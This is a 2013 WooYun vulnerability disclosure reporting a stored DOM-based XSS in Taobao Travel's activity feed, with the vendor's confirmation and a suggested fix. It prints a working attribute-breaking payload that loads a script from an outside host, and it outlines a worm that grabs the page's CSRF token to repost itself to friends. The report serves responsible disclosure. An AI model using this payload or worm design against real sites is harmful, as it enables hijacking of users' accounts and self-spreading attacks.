当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-023994

漏洞标题:淘宝 xss可引发蠕虫

相关厂商:淘宝网

漏洞作者: macbin

提交时间:2013-05-17 22:17

修复时间:2013-07-01 22:17

公开时间:2013-07-01 22:17

漏洞类型:xss跨站脚本攻击

危害等级:中

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-05-17: 细节已通知厂商并且等待厂商处理中
2013-05-20: 厂商已经确认,细节仅向厂商公开
2013-05-30: 细节向核心白帽子及相关领域专家公开
2013-06-09: 细节向普通白帽子公开
2013-06-19: 细节向实习白帽子公开
2013-07-01: 细节向公众公开

简要描述:

某功能有个xss,持久型的,可以引发蠕虫。

详细说明:

淘宝旅行,我的旅行空间,展示我的动态,这里的问题。
动态输出内容确实转义了,但是有一个dom型的xss、同时也是持久型的。
还挺特殊的,这个要详细说一下:
1,先用"><',测试,发现转义了,但是单引号没转义。
如下:

tmp4c5c8fa8.png


2,常规xss是没戏了,于是就想看看是不是有dom型的,发现提交的内容会被js拍在一个a标签的data-cfg属性里,如下的commentTitle就是你提交的内容。

tmp117989f6.png


而js只是替换了双引号,也没有转义单引号,如下:

tmp61b175a0.png


3,这样可以用单引号来闭合a 标签的data-cfg属性,然后插入onmouseover事件,当然要让这个a标签容易触发,还可以加个css让它变大一些,鼠标容易碰到。
如下:

tmp5eaf5532.png


然后,试了试蠕虫,看可不可行。
1,有长度限制,测试了110个字符左右会变成...,内容被隐藏了,只能引入外部文件了。
2,用原生js的话还是太长了,不行,看见淘宝都用KISSY,就直接用KISSY.getScript了。
3,于是前端payload诞生了:

' style=display:block;height:800px;width:600px onmouseover=window.x||KISSY.getScript('//tb.jsapp.us') f='


4,后端js也好弄,就让js自动提交发表新动态就行了,在当前页面取到__tb_token__的值,然后放到请求里,发表内容把刚才的前段payload写上。
这样,当你的好友查看你的新动态时,鼠标稍一碰到动态下面的空白区,就会自动发一个恶意的动态,然后不断扩大下去。

漏洞证明:

tmp5eaf5532.png


修复方案:

其实单引号也转义一下,保险一点。反正都用了转义,干嘛不全转义了。
PS:新人求一个邀请码,万分感谢!

版权声明:转载请注明来源 macbin@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:5

确认时间:2013-05-20 09:49

厂商回复:

非常感谢您对我们的支持与关注,该漏洞我们正在修复~

最新状态:

暂无